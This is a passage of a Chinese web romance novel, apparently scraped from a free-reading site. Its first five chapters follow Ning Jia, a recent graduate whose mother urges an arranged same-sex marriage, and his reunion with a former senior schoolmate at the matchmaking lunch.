《每天都想和暗恋对象离婚》 1. 第 1 章 《每天都想和暗恋对象离婚》全本免费阅读 应届毕业生的特权——宁嘉请了十天假。 回来收拾东西的时候,同事炸了:“十天??你知道上周我和他请三天假都被拒绝了吗?!” 宁嘉是一年前来的公司,再精确一点的说法是十一个月前。这一趟返校是为了毕业答辩,拿到毕业证书,回来后实习转正,工资也翻倍。 要有十天不在,需要整理因为方便工作乱糟糟的办公桌,同事以为宁嘉终于受够了资本主义的剥削,这是辞职了。 结果得到一句轻飘飘的一句,请假十天。 呵。该死的生活忍不了一点。 前两天买来的没吃完的小零食顺手兜给一旁的同事,宁嘉漫不经心地安慰:“退一万步来说,难道不是老板离不开你吗?” “哗啦”一声,一捧零食落在桌上,被声音治愈,同事这才心情好一点,大骂:“扯淡!他这是剥削工人阶级!” “倒也不至于。”宁嘉笑起来,“他也是没办法才让我请这么久的,我总不能不毕业。” “我!连旅游团的价格都问好了,机票也看过了,”同事根本听不进去,比了个三的手指,“我只要三天!”龇牙,“三天!我就能拥有成年人最大的快乐!” 假单送上去,被原封不动地打回来, 同事气得要冒烟:“要不我辞职算了。” 宁嘉:“好。” 同事:“?我说着玩的。” “我当真了。” 宁嘉分明是在笑的,同事背靠办公桌,欣赏着这张年轻的张扬的极其好看的脸,不由自主地亲近:“答辩要这么久吗?十天?” “那倒不是,”说是收拾,也没有花很长时间桌面便恢复了整洁,宁嘉说,“顺便去予市见我妈一趟。” “嗯?阿姨没和你住一块吗?”据同事所知,宁嘉是本地人,听到这话自动理解为宁嘉的父母在予市工作。 宁嘉把椅子推进去,抬起头,眨了眨眼,用很俏皮的语气说:“我妈她男朋友在那。” 假期十天,答辩用了七天时间,宁嘉在第八天下午到达予市,第九天中午见到他妈许诗瑶女士,倒也算是符合预料,抓紧时间的话,今晚就可以返回岩市。 予市是省会,消费水平和经济发展成正比,是宁嘉不看价格就不敢瞎点东西的地方。 然而许诗瑶把和儿子见面的地面约在市中心的一座高楼上,楼层中偏上,宁嘉每一步都走得心虚。 许诗瑶十九岁生的宁嘉,如今四十一枝花,烫着大波浪,耳坠挂着好大一个,烈焰红唇,美得不可方物。 眯着眼睛笑起来,朝宁嘉招招手:“儿子,快过来。” 宁嘉坐下:“美女,你谁?” 许诗瑶笑得花枝乱颤:“嘴巴越来越甜了。” 宁嘉背靠座椅,哼笑一声:“我说的可都是实话。” 服务员拿了菜单上来,许诗瑶往宁嘉面前推推:“想吃什么自己点。” 进来时没注意看,此时才意识到这是一间需要收服务费的高档餐厅,瞥了眼价格,顾不上外人在,宁嘉没忍住问:“妈,你中彩票啦?” 许诗瑶挡着嘴一脸娇羞,宁嘉在对面嘴角一抽,果然听见他妈说:“你叔叔听说你要过来,让我带你吃顿好的。” “哦,你男朋友啊?”宁嘉说。 见惯了大场面的服务员面不改色,许诗瑶脸上娇羞更甚:“说什么呢你。” 哎呀了半天却没有下文,一副沉浸在爱情里的痴迷状态。 虽然有人请客,但宁嘉也没有多点,深知这种餐厅的本质——贵,还量少,老实说还不如公司楼下十二一碗的大排面来得饱肚。 盛夏正午,阳光炽热,餐厅里光线却不刺眼,冷气给得很足,音乐轻柔,宁嘉却没有太大胃口。 上一次和宁嘉见面还是两个月前,清明扫墓的时候。 许诗瑶没怎么动筷,支着下巴仪态优雅地看着儿子:“是不是瘦了点?” “怎么看出来的?”宁嘉叉了一块肉往嘴里送。 许诗瑶笑了笑:“你都长这么大了,开始上班赚钱,工作辛苦当然就瘦了。” 这也算是许女士的特点,无中生有的事能被她自圆其说。 今年四十一岁的许诗瑶对生活态度积极充满热情,她喜欢笑,对这个世界充盈善意。 宁嘉挑了下眉:“心疼我啊?” 许诗瑶说:“我当然心疼自己儿子。” 宁嘉放下叉子,装斯文真是有点麻烦,他一点都不喜欢这家餐厅:“心疼我就跟我回家呗,我一个人住吃不好睡不好,肯定要瘦的。” 许诗瑶的脸色犹如六月的天,当即变脸:“我刚看错了,你胖了点,一点没瘦。” 有时候,宁嘉觉得他妈还是二十岁的年纪,失笑:“怎么还骂人呢。” 许诗瑶惊讶道:“说你胖就是骂啦?” 宁嘉煞有介事地点头:“你说我丑。” 许诗瑶被宁嘉逗笑,眉梢弯弯:“我儿子最帅了。” 于是宁嘉十分给面子地拿起叉子。 菜上齐也没几道,确实点的有点少,一会儿去车站等车的时候再随便吃点,宁嘉往对面看:“美女,你就看着我吃啊。” 许诗瑶长得好看,她的儿子也不遑多让,是一张怎么看都不会觉得腻的脸蛋。 鼻梁高挺,眼角狭长,顶部的柔声灯光洒下来,在他微俏的睫毛上拐了个漂亮的弧度。 看了半天,许诗瑶才不紧不慢地说:“出来前和你叔叔吃过饭了,不是很饿。” 鱼排送到嘴边又放下,宁嘉翘起嘴角,目光平直地打量他的亲生母亲:“妈,我昨天就来了。” 顾虑到许诗瑶在谈恋爱,甚至住在酒店,宁嘉到达予市的时候,许诗瑶是知道的,既没有要收留儿子的意思,也没有第一时间和他见面。 这些宁嘉都可以理解,也觉得没什么,人不管多少岁都有追求自己幸福的权利,许诗瑶以前没有过,如今更会珍惜,宁嘉没想打扰。 但他只是想和妈妈吃顿饭而已,两个人坐在一起,各自动动筷子,把肚子吃饱,就像以前他们相依为命的时候一样。 许诗瑶追求幸福的过程中迫不得已要放开他的儿子,这其中唯一值得庆幸的是宁嘉成年了,他上了大学有自己的生活。 许诗瑶其实很愧疚,在她想要理解儿子的时候,也并不是不懂。 她在宁嘉平淡的目光中渐渐垂下了眼,可最终也没有拿起刀叉。 许久后,许诗瑶说:“嘉嘉,你要不留在予市吧。” 因为先前那点不高兴,宁嘉没有立马说话。 但其实他是想拒绝的,他只想要妈妈留一点时间给自己,而不是想要剥夺她幸福的权利。 长大后还想在妈妈面前保留了一点任性,想要被哄一哄,听两句好听的话。 “你叔叔,他给你安排了一桩婚事,你留在这里,妈妈可以陪你吃很多顿饭。” 宁嘉不懂这其中的关联。 但原来许诗瑶是知道的,知道宁嘉很想她,也知道宁嘉时隔两个月来一趟最大的愿望就是和她一起吃一顿饭。 她拿起叉子,在餐桌上看了一圈,好像也知道这些东西并不好吃,所以还是放下了餐具。 没有得到回答,许诗瑶还在叙述她此行的目的:“对方有一家上市公司,市值将近百亿。” 哦,那可真是有钱。 许诗瑶很慢却很坚定地说:“年纪是大了点,比你年长六岁,其实也还好。” 原来还是个富婆。 许诗瑶眼睛动了动,吐出最后一句话:“是个男生。” 笑死。 宁嘉觉得自己挺开放的,愿意接受母亲追求人生的第二春。 当今社会同性婚姻合法,也实行了很长一段时间,但宁嘉从小到大都没有过这方面的想法,结婚没想过,和同性结婚更没有想过。 他想问问他妈,是怎么从她儿子一身正气气到要打人的脸上看出来他儿子是个同 2. 第 2 章 《每天都想和暗恋对象离婚》全本免费阅读 “先生,需要我们为您叫车吗?”迎宾员上前贴心询问。 车屁股消失在视野中,宁嘉回过神:“不用了,谢谢。” 宁嘉热得走不动道,不想说话,也不想动,前前后后也算来过不少次予市,还是觉得陌生,无论是往前看还是往后看,都不觉得这是自己应该待的地方。 预想停留在予市的期限最多不超过三天,所以昨天晚上就约过朋友吃饭。 但宁嘉想,这饭也不是不能吃第二趟。 电话被接听的很快,宁嘉开口前,江软的声音先一步传了过来:“兄弟er什么事。” 相比于江软的精神抖擞,宁嘉的声音称得上平静:“翘班吗?” “嗯?” 宁嘉说:“出来玩。” 江软甚至不问:“在哪里?马上到!” 宁嘉和江软是大学同学,大学三年同班不同寝的经历让两人在恰到好处的社交距离下友谊十分坚固,属于碰到一起就能吃饭吹牛的关系。 宁嘉昨晚就是和江软吃的饭,才下高铁就接到江软的电话,上来就是“哥们请你吃饭”。 没想到这饭还能吃第二顿。 跑车的引擎声是在四十分钟后响起的,大厅经理急匆匆地跑进来,他知道坐在真皮沙发上的男生是在等人,而嗡鸣声没有要停下的意思。 “您好,”短短两分钟,经理汗如雨下,“您是在等人吗?” 宁嘉这会儿觉得予市好了,他只是像个路人一般在酒店大厅蹭空调,而经理愿意为他奉上春天般的服务。 连忙摘下耳机:“是的,怎么了?” 等人无聊,宁嘉开了一把游戏,上一局结算完又开了把新的,这会儿飞机还在天上飞着,角色处于还未跳伞状态。 经理神情微妙:“您的朋友应该到了。” 手机上并没有收到江软的消息,电话也没有,宁嘉说:“应该不是吧。” 经理有些为难,仍然邀请宁嘉出去看看。 游戏里飞机沿着航线飞行到终点,角色背着降落伞在空中晃晃悠悠地荡着。 ——宁嘉理解了经理的无奈,换做他,他也无话可说。 跑车沿着酒店内围一圈圈绕,汽车尾气裹挟着燥热的暑气,宁嘉定睛一瞧,驾驶位上的疯子可不就是江软。 宁嘉:“......” 宁嘉站在跑车的必经之路上,随着恼人的嗡鸣声红色车头越来越近,经理被吓到差点喊出声,成串的汗沿着脖子滴进衣领。 “不要!”经理嘶吼出声,尾音劈了叉。 刹车声后,跑车停在五米之外的地方,车上的疯子下了车,满是兴奋:“你看我的新车,酷不酷?” 游戏中角色落了地,迎头碰上一个人机,□□一下下往人物身上怼,宁嘉操控角色赤手空拳奔赴上前。 宁嘉朝江软走过去:“你不会打电话?非要搞出那么大动静。” 江软重新上车:“这不是怕打扰你战斗吗。” 宁嘉:“谢谢你,我落地成盒了。” 江软:“真的?” 宁嘉回头去看手机,系统的bug终于卡在他身上了,角色被人机打死了。 “......” 跑车行驶在午间的城市道路上,身处其中,引擎的轰鸣悦耳非常,宁嘉有点理解江软了,这样的速度下,他甚至感受不到夏日的燥热,只感受到风:“上班开跑车,你爸不说你吗?” “嗡嗡——” 江软像是失聪多年,和社会脱轨严重,大喊:“你说什么!” “......” 下一秒宁嘉加入了失聪队伍,大叫:“我说你是个傻X!” 江软哈哈大笑,摇头晃脑,继续大嗓门:“你不懂!上班太认真,回家是要继承家产的,我才不要!” 宁嘉无言以对。 江软感觉自己要飞起来了:“芜湖~我们现在去哪里?” 不知道先前吃的那顿饭价值多少,但并不足以支撑宁嘉在这样的场景下持续输出高昂的情绪,凑到江软耳旁:“去酒店。” 江软惊恐地差点手抖:“你干吗?” “退房!” 两个字说完宁嘉就不肯再开口了,因此他也没有看见,错把“退”听成“开”后,江软脸上不断变化莫测的难言神色。 只是空气颇有些凝固罢了。 跑车停在酒店停车场,树荫正好挡住了阳光,一阵风吹过,带起树叶颤抖时的沙沙声响,是记忆深处熟悉的盛夏模样。 宁嘉下了车,阳光斜照在他的脸上,他脚步很快,语序也不慢:“本来想今天回岩市的,车票都定好了。” 江软指尖挂了串钥匙,转着圈,像个土地主:“因为要和我开房,所以打算明天再回去了?” 宁嘉停下脚步看他。 江软顿了顿,疑惑:“那你改签了没有。话说起来,我是0啊,你不知道吗?我看你这样子也不像什么雄伟的1啊。” 宁嘉就从来没说过他喜欢男人。 在许诗瑶面前没有表现,宁嘉此时是毫不掩饰的烦躁:“没有改签,我退票了。” 江软没法从宁嘉的几句话里获得正确信息,还在问:“就因为想和我开房?” “......” 酒店大厅的时钟显示时间,一点四十六分。 “我是要退房。”宁嘉压低了声音,语气里颇有些咬牙切齿,“我妈让我和男人结婚,运气好一点,我以后都不用回去了。” 江软简洁明了的表达了他和宁嘉共同的情绪:“卧槽。” 宁嘉只请假了十天,包括最开始他所预料的在予市停留的短暂时间,他只带了很少的行李,因为是夏天的原因,就算多了个笔记本电脑,行李箱也还是没有装满。 房间里很整洁,只有床铺有被睡过一晚的痕迹,收拾过的行李箱立在床旁,连充电插头都被提前收好,宁嘉早就准备要走了。 “住我家吗?”不等宁嘉开口,江软问。 宁嘉没什么情绪:“嗯,方便吗?” “当然方便啊。”江软扬着声音回答,又问,“现在去?” 宁嘉摸到了口袋里的手机,在高楼处看了看窗外的天:“你还回去上班吗?” “回个毛,”江软说,“翘班要有原则,我这个人最不喜欢吃回头草。” 宁嘉的心情好了一点:“那我们去上网?” 酒店对面就有一家网咖,还是禁烟的,两人开了个包间,从下午两点玩到晚上七点,落地成盒了三回,吃了一次鸡,剩下乱七八糟的名次英雄从来不提。 时间到晚上七点半,江软放下鼠标:“我饿了,吃什么。” 大学时候三年网游的默契,游戏时长,吃饭时间,什么点该做什么彼此都有数。宁嘉想起了他中午忘记吃的大排面,摘下耳机揉了揉被箍得发疼的耳朵:“火锅,能去你家吃吗?” 江软又没洁癖,当然可以。 错过了下班高峰期,只花了十几分钟两人就到了江软在高楼林立的市中心一间面积超过三百平的单人住宅,宁嘉来过几次,因为和他的生长环境相差太大,连羡慕的情绪都没有出现过。 他们比外卖派送回来得早,玄关亮起了感应灯,江软边脱鞋边说:“渴死了,你喝酒吗?” 宁嘉酒精过敏,但不是一点都不能喝,在学校的时候会陪江软喝点啤的,进了社会就用这个当借口几乎是滴酒不沾,每回碰上江软的情况除外。 江软把酒当水喝,几乎每晚都会小酌两杯,练就了一把单手开易拉罐的绝学。 啤酒被递过去,宁嘉拿在手里喝了一口,冰的他打了个哆嗦,江软见状直笑:“冰箱质量好吧?” 江软一个人住,宁嘉对这地方一回生,二回熟,自己找地方坐,行为举止丝毫没有客气,餐椅被拉开,翘着腿,脚放在另一张椅子上:“那男的是个同性恋,不喜欢女的。” 江软差点没跟上宁嘉的节奏,缓了缓,试探道:“你说你妈让你和男人结婚?” “不 3. [花痴 《每天都想和暗恋对象离婚》全本免费阅读 “我确认一下,你这一身是要去打架的行头吗?” 昨天晚上,经过简单的沟通,宁嘉决定保住江软的三条腿,打架什么的他自己也OK。 时间是第二天上午,距离约定的相亲时间还差不到一个小时——宁嘉还站在穿衣镜前捣鼓,左摇右摆,担心自己长得不够帅。 不怪江软有此疑问。 “这你就不懂了,”宁嘉搓了搓头发,抓出个造型,“知道什么叫战前垃圾话吗?长我这样的,一句话不说也能让他感受到自卑。” “哦,”江软顿悟,“不战而败?” 宁嘉颔首:“是这个道理。” 其实宁嘉就穿了一身白色短袖加阔腿牛仔裤,真要有什么特别的,就是他从江软衣柜里翻出一副绿色边框的削皮墨镜。 如果说,要和他相亲的江姓某男是二十八岁,那宁嘉这身打扮都十八都不为过。 “让他感到自卑然后哪来的滚哪去!”江软气势磅礴道。 江软又开着他那辆跑车了,在这炎热的夏日正午,打狗都不出门的时候,张口即是国粹:“不是我说姓林的是有什么毛病吗?缺男人到这种地步,再等几个小时会死啊,大热天的想晒死谁。” 宁嘉带着墨镜,但紫外线还是刺得他睁不开眼,确实是江软主动提出要送他的,但这也不是他这会儿可以冷嘲热讽江软的理由。 相亲地点是一间私人餐厅,托了江软优秀车技的服,他们早到了二十分钟,于是江软提着钥匙串和宁嘉一块进了餐厅:“等会儿我坐你隔壁桌,关键时候充当个前男友什么的,完全没有问题。” 大概是江软一直在耳旁念叨的原因,包括昨晚,两人由于太久没见话题说不完,一人挂着一侧沙发整夜吹牛扯淡,每当中途犯困,江软就把姓林的拉出来骂一顿,以至于眼下宁嘉对于要和男人相亲的事情已经没有想象中那么排斥了。 对江软的去留没有表达意见,宁嘉问:“这件餐厅在你们市属于什么水平?” “相当一般吧,”江软偏过头看向宁嘉,表情深情且恶心,“如果是我,一定会带你去更好的地方,宝贝,那男人配不上你。” 店长就站在宁嘉身后,因为这句话,惊恐又忍不住好奇的视线在两人身上徘徊个没完。 “......你要是去上班吧,江软。” 江软显然很嫌弃:“怎么这么冷漠,亲爱的嘉。” 宁嘉:“......” 正在此时,江软的手机响了,江父在电话那边劈头盖脸一通骂:“班不上,开着你那辆骚车满市跑,老子的脸都被你丢光了,给你半个小时马上滚回家吃饭,下午去上班,不然就把你银行卡停了!” 江父嗓门过大,宁嘉听了全程通话,被挂掉电话的江软一脸痴呆:“嘻嘻,嘉嘉,我爸喊我回家吃饭,那我就不打扰你和老男人相亲了。” 江软,名字软脾气不软,集万千宠爱于一身长大,脾气差是因为有资本,可同时他又很乖,在家人和熟人前带了些傻气,实在是很讨人喜欢。 宁嘉挥挥手让他走了。 江软起身正要从餐厅离开,门帘拉开,外头正好有人进来,两人错身经过之时,江软猛地回头,朝正在目送他离开的宁嘉使劲挥手。 指着进门帅哥的背景,无声道:好看好看,这个好看! 宁嘉:“......” 因为要和男人相亲,江软甚至忘了他不喜欢男人的事实。 餐厅隔离做得好,前厅有一股很淡的花香味,江软口中好看的男人进来后,宁嘉鼻尖多了股洗涤剂的清香。 这其实让人很有好感。 男人个高腿长,肩膀宽得像个双开门冰箱,不知道江软说的好看是哪一方面,然而仅仅是背影,宁嘉也觉得这人应该长得不差。 虽然宁嘉并不喜欢男人,但这和他拥有一双爱美的眼睛并不冲突。 男人正在小声和前台说话,宁嘉看了眼时间,约定见面的时间还差十分钟,男人是他相亲对象的可能性为零。 前台轻声说:“您预定的包厢还没有客人过来。” 毕竟是林纵早到了,倒也不意外:“那我在外面等一下吧。” “好的,”前头抬臂,指向林纵身后的等候区,“您可以在这边稍等片刻。” 餐厅装修偏中式,放的音乐也是轻柔缓和,江软一走,宁嘉就开始犯困。 天亮时江软才肯放人睡觉,这会儿宁嘉困得双眼迷离,眼神不聚焦地落在男人的背影上。 微垂的眼皮在男人转头的那一刻停止不动了。 林纵眼睁睁看着那双眼睛越睁越大,神色越来越清明。 直到眼睛里出现了他熟悉的光亮。 “学长?” 林纵听见宁嘉说,带着疑惑的惊喜的语调。 拿着手机的手慢慢垂在身侧,不知过了多久,林纵嘴角带着笑意,回了声:“嗯。” 包厢里,两人对面而坐,宁嘉接过林纵递来的菜单还有些不真实:“学长,那个姓林的老男人真的是你吗?” 宁嘉这三年没怎么长,毕业前林纵见到的他长什么样现在还是怎么样,甚至连说话都是。 让服务生先上两杯茶,包厢里只剩两个人的时候,林纵问:“你听到的是怎么样的?” 碰到曾经的学长,这场相亲就变成了校友见面会,对话中少了刻意压抑的情绪和曾经在学校不得不尊重的尊卑秩序。 宁嘉说话有些没大没小:“二十八岁,喜欢男人,非要和男人结婚的同性恋。学长,我不知道这个人是你的谁,但我说句实话,他可真是不要脸。” 林纵听他说话就想笑,甚至没能掩盖住笑意,笑说:“嗯,但我也姓林。” 宁嘉眨巴眨巴眼,有点狗腿:“但你不是他,对不对,学长?” 林纵带着笑点了点头。 虽说是学长,但宁嘉和林纵的交往并不深,仔细算起来,林纵只当了宁嘉一年学长,而那一年时间里,两人见面的次数屈指可数,并且每一次都有旁人在场。 要说私交,那一定是没有的。 宁嘉大一的时候,林纵大三,第二年林纵去实习之后,宁嘉再也没有见过他。 回头看看,三年过去了。 服务员上好菜后留在包间:“您好,您这边点好菜了吗?” 宁嘉有点决定不下来,予市离岩市不远,两座城市的风俗习惯却不怎么接近,以往宁嘉都是瞎点,反正在座的都是自己人。 可时隔三年,和林纵见面,又是相亲的场合,说不上怎么想,但宁嘉想给学长留个好印象,推推菜单:“要不,学长你点吧。” 林纵也没客气:“有什么忌口?” 宁嘉说没有。 在宁嘉记忆里林纵留下的是很合格的长辈印象,很正儿八经的大哥哥感觉,和林纵那些不正经的时不时用胳膊把他原地圈走表哥不同,林纵一直是疏离的、带着笑的。 林纵成熟了很多,蜕掉在学校时那层稚嫩的皮,举手投足间,宁嘉只觉得和学长格格不入,这让他有一点局促。 林纵的腕上戴着一只价格不菲的手表,干净修长的左手翻过菜单,慢条斯理地询问:“三文鱼吃吗?” 宁嘉真诚发问:“可以煮熟了吃吗?” “......” 那一页菜单被翻了过去,又问:“牛排吃吗?” 宁嘉支着下巴,没把自己当外人:“啃骨头有点麻烦。” 察觉到了林纵的艰难处境,服务生贴心地问:“我们店里有新到的大闸蟹,一只有两斤重,要不要考虑来一份?” “不吃。”连犹豫都没有,宁嘉回答。 因为太过干脆,惹得对面的林纵投来视线,眉梢轻轻一挑,笑问:“不挑食?” 宁嘉:“......偶尔有一点微不足道的小要求。” 林纵便不问了,点了几道菜,服务员又重复确认了一遍,就菜名来看,宁嘉一个品种都不认识。 包厢里又只剩下他们两个,宁嘉不死心的好奇心又上来了,总觉得难以置信:“学长,真的是你吗?” 林纵故意听不懂他的意思:“什么?” 宁嘉指了指自己:“和我相亲的对象,真的是你吗?” 林纵调侃:“不是你说的姓林吗?” 宁嘉歪着脑袋,向右肩膀蹭蹭,表情看着很无辜:“但是不是二十八岁吗?” 不是说林纵不好,在这种场 4. 第 4 章 《每天都想和暗恋对象离婚》全本免费阅读 “我就是,想问一下你的爱好,学长。” 宁嘉的语气算得上垂死挣扎,如果绝望具象化,那么一定有一只小人正举着白旗蹲在他脑壳上,旗帜在包厢的空调下随风飘扬。 “嗯。”林纵还是笑。 宁嘉:“......” 和江软吹了一晚上牛,又没赶上吃早饭,宁嘉是真有点饿了。菜是一道道上的,轨线很轻,木门被推的动静并不响,冒着热气的每道菜色泽都还不错,没有宁嘉特别不吃的。 “不喜欢?”打量着宁嘉的眼神,林纵问。 宁嘉捞了勺蛋羹:“没有,学长,我其实不怎么挑食。” 他这鬼话林纵是压根不信了,却还很温和地问:“那你能告诉我,你喜欢吃什么吗?” 宁嘉气势很足,像是身后有千军万马做依仗,眼睛是亮的,张了张嘴,立马委顿下去:“......哎,学长你怎么还不吃。” 他动作有点大,这才想到头顶还架了副墨镜,连忙摘下来,口袋装不下就摆在桌上,毕竟是江软借他的东西。 一通操作把林纵逗得直笑。 “穿成这样相亲?”饭点时间,林纵空着肚子过来,这会儿吃着饭,有些漫不经心地问。 他对宁嘉的穿着并没有意见,但宁嘉这一身确实不怎么正经的样子,出门前江软还非要把他的嘻哈链挂宁嘉脖子上,宁嘉用最后一丝理智拒绝了。 嘴里的菜还没咽下,宁嘉低头看看自己,其实还挺满意,腮帮子鼓起来:“怎么了?不好看?” 林纵说了实话,笑了下:“好看,挺显小。”和他像两个世界的人。 “是吧是吧,”宁嘉听了还得嘚瑟,骄傲地说,“他不是老男人吗,我就想穿得嫩一点,从根本上打败敌人,让他意识到自己不配。” 在一个不熟悉的城市碰到好久不见的人,让宁嘉控制不住的高兴,工作一年积累的那点成熟在林纵面前打回原形,他们像是还在校园里,因为偶遇很难见到的学长多说两句,笑意盈盈的,让这段记忆始终保持着明亮。 “我记得你不是予市人。”林纵没有对二十八岁的男人做出发言,从头到尾他都没有提过这个人,也没有告诉宁嘉他的相亲对象为什么换人了。 学生会就那么些人,又根据专业系院划分,大一新生进来的时候,每个学长都会和成员打过招呼,那是一定会问的,他们五湖四海地聚在一起,远离家乡,又想要在这里找到同地方的人。 所以林纵不是岩市人,宁嘉也记得。 具体是哪里人,宁嘉也忘了,因为大一新进来的学生很多,而林纵很好看,温和的气质让他身边挤满了人,他始终是笑着的,无论别人问他什么都会有回答。 餐桌上有一盘海鲜意面,让宁嘉想到他从昨天开始一直惦记但都没有机会吃上的大排面,这两个东西没什么相似的地方,但宁嘉还是多吃了几口,叉子慢慢的卷着面条,话也慢慢地说。 “我是岩市人啊,从小就在那里长大的。” 宁嘉说话有点慢,好在并不需要林纵配合:“但是我妈在这里,他谈了个男朋友也在这里。” “我本来,”宁嘉顿了顿,垂下的眼帘挡住他的情绪,“前两天我回学校答辩,很久没见我妈了,就说过来看看,我也没想什么,就是过来吃顿饭,但她和我说,如果想留下来可以男人结婚。” 事实大概不仅仅是宁嘉说的这样,林纵并非完全不知情,林家要和谁联姻为什么联姻,他还是知道的,这其中最重要的是对方姓吴,总得是吴家人,而不是不相干的宁姓。 意面很干,宁嘉把杯里的水都喝完了,林纵替他倒了杯新的,七分满:“太干了就不要吃了。” 宁嘉又卷了两根:“挺好吃的。” “该挑食的时候不挑。”林纵的话里带了长辈下意识的嗔怪。 和江软待久了,宁嘉有时候笑的和他一样傻,被林纵骂的很甘心,也挺开心。 餐桌上菜吃了大半,两人围绕着这几年没见过的时间说些无关紧要的话题,宁嘉说得比较多,他本来就是闹腾的性格,很多事情在他这里都不算事,可以随便拿来热场子。 宁嘉也好奇林纵,毕竟是他帅帅的学长,问他毕业那年怎么没有回来看看,又问他现在在做什么工作,后来嘴瓢来了句:“学长,你现在有对象吗?” 林纵本来想喝水,因为这句话停了动作,视线扫过去。 宁嘉:“......” “要有对象我来相亲干什么?”林纵语气平淡地问。 宁嘉抽了张纸巾,支着手臂甩甩:“学长,我错了。” 林纵笑了下,本来不想问,又觉得这场合没有不合适,问宁嘉:“你喜欢男生?” “不喜欢。”宁嘉语速很快地说,大概从来没对自己的性取向产生过怀疑。 不喜欢,但还是和林纵聊了这么久,因为他们很久没见了,是可以叙旧的校友和关系一般但因为缘分聚在一起的朋友。 “今天如果来的是那个二十八岁的呢。”林纵问。 宁嘉说:“揍一顿。” 林纵问:“真揍假揍?” 宁嘉仔细探究了会儿他学长的表情,问得挺认真,所以他也认真想想,回答:“看情况,如果是个不要脸的变态,我一定揍他一顿,然后连夜买车票回岩市,走也要走回去,反正结局不是我背锅。” “那你现在看到是我了。”于是林纵问。 “所以我没揍你啊,”宁嘉笑着喊,“学长。” 其实是个大大咧咧的男生,讲话学不会委婉,不知道瞻前顾后,情绪来得快走得也快,总得来说,没太大顾及的一个人,一口一个“学长”,喊得却很顺溜。 毕业后也没人这么叫林纵了,连这样纯粹的笑都很少见到。 因此林纵也意识到,他这一个小时,因为被感染着,脸上也一直带着笑。 本着“来而不往非礼也”的原则,宁嘉顺嘴就八卦了一句 5. 第 5 章 《每天都想和暗恋对象离婚》全本免费阅读 林纵是个很斯文的人,在宁嘉记忆里,他一直是这个样子,当初招新,在宁嘉转过头表现出明显的不感兴趣的时候,也会站到他面前,问:“学弟,要不要考虑来我们学生会?” 那一刻,宁嘉直面感受到了林纵的颜值暴击和温和平稳的声线。 心想:怎么会有这样的人。 又想:我怎么可以拒绝这样的人。 宁嘉抬起头,抿掉嘴唇上的茶水,用当初别无二致的语气问:“我啊?” 宁嘉好像并不生气,可毕竟不是当年的场合了,虽然眼前的场景和他们当下的关系有点暧昧,但林纵这样的问话其实很冒昧,他笑了下:“嗯,怎么,你要也打我一顿吗?” 按照宁嘉平时的人设就会说“啊,那也不至于”,然后干脆地拒绝。但他这会儿竟然短暂琢磨了一下,眉心轻轻拧了拧,一反常态地说:“我考虑考虑。” 这不符合宁嘉的爽快性格。 林纵还是笑,一贯的温和:“嗯,不着急。” 几年没见,也不是关系很好的朋友,两人其实没那么多话可以聊,饭也吃过了,也到了快上班的时间。 “学长,你要上班了吧?”宁嘉问。 林纵穿得很正式,一身的工作状态,白衬衫没有系领带,扣子解了两颗,袖子拉到手肘处,西装长裤,黑色皮鞋,像是上班途中过来随手完成一个任务。 腕部带着一块蓝金手表,反正是宁嘉看不懂的牌子,林纵看了看时间:“差不多了。” 天杀的相亲终于要结束了,宁嘉心里松了一口气,心思活络起来,话也变多了:“大夏天的,谁会在中午相亲,这时间谁选的,”顿了顿,“学长,不是你吧?” 林纵笑说:“不是。” 宁嘉一脸嫌弃:“我就说,你不是这么无聊的人。” “那走吧,”林纵站起来,“你住哪,我送你回去。” 大热天就不适合在外面晃,等车坐公交都很麻烦。 大概是知情,但是林纵没说他们这场慌里慌张的相亲到底是因为什么,宁嘉也不想追问,当然也不想那么早回去,他住在江软家,可江软现在不在家。 怕耽误林纵上班,宁嘉说:“学长,你给我找个顺路的商城放下吧,我想逛一逛。” 林纵说:“好。” 这个天还是商城凉快,空调不要钱似的开,冷风充斥着每一个不起眼的角落,燥热烦闷的夏天,好像短暂地消失在宁嘉身边。 路上林纵说要把宁嘉放进停车场,因为正门过去还有一小段路要走,宁嘉在副驾驶上摇摇头:“没事啊,没有很热,我自己过去就行了,没那么矫情。” 林纵也就没有强求。 沿着扶梯上去,商城二楼正对着的就是一排按摩椅,宁嘉慢慢地走远了,绕到另一侧接近边缘的位置,果不其然也有,找了个最旁边的位置坐下,刷了钱,感受了二十分钟舒坦的时间。 商城很高,大概有七层楼,顶部装着一块透明大玻璃,盛夏的阳光没有阻挡地照进来,让每一层楼都亮堂堂的。 宁嘉舒服地眯起双眼。 按摩球一下下抡着宁嘉的脑袋,把他的脑子搅成一团,乱糟糟的,什么画面都占一点。 江软在家吃了饭,把他爸紧赶着回去公司上班,生无可恋地给宁嘉发消息:这狗日的班是一天都上不下去了。 手机响了一声,宁嘉慢悠悠掏出来看消息,被某个字眼戳中了情绪,眼睛一下子瞪圆了:“卧槽。” 江软:不回我消息? 江软:还没结束? 江软:嘉嘉,这我可就看不懂你了啊,不喜欢不要吊着人家,上了年纪的人很吃你们小年轻这一套啊。 宁嘉在打电话,铃声响了两下,电话被接通,沙哑的男声传过来:“喂。” “杨哥,你还在睡?” 杨哥不太高兴地问:“到点了吗?” 宁嘉看看时间,杨哥通常一点半醒,不到点闹不响,就算只差一分钟他也不让任何人打扰:“还差两分钟。” 杨哥迷迷糊糊:“那我就是还在睡。” 宁嘉说:“好的。” 杨哥硬是被他无语醒了,坐起来,手机拿在耳边:“你回来了没?那边这么吵,在车站了?” “没,”宁嘉有点惆怅,打电话就是为了说这个,十天假期要结束了,但他好像暂时回不去,又或者说他还没有决定好,“我还在予市。” 杨哥没听出他话里的潜台词:“回来也没有早了,赶紧吧。” 宁嘉说话的声音很轻:“杨哥,我可能回不去了。” 这苦了吧唧的语气,萎靡不振的调调,杨哥一听知道这小子有事:“什么意思?你怎么了?被绑架了?需要哥做什么?”在某种层面上,杨哥和江软还挺像,激情四连问,可惜和事实毫不相关。 反正也瞒不住,宁嘉便说了实话:“我好像要结婚了?” 杨哥震惊:“结婚还能好像啊?” 宁嘉叹气:“我也不知道。” 杨哥换了个说法:“什么时候谈的恋爱?” 宁嘉老实巴交:“没有谈。” “那怎么就结婚了啊?” “......就,”宁嘉想了个说辞,“包办婚姻?” 杨哥悠悠道:“你听起来不像不高兴啊。” 如果宁嘉不高兴,那他现在已经在高铁上了,这个世界上好像没有谁能让宁嘉做他不喜欢的事,年轻人作天作地,宁嘉还要再过分一点,他不止做,他还什么都不在意,因为行事有度,所以从来不害怕结果。 “但我也没有很开心吧?”宁嘉也因为他现在不在车站表示出一点适时的疑惑。 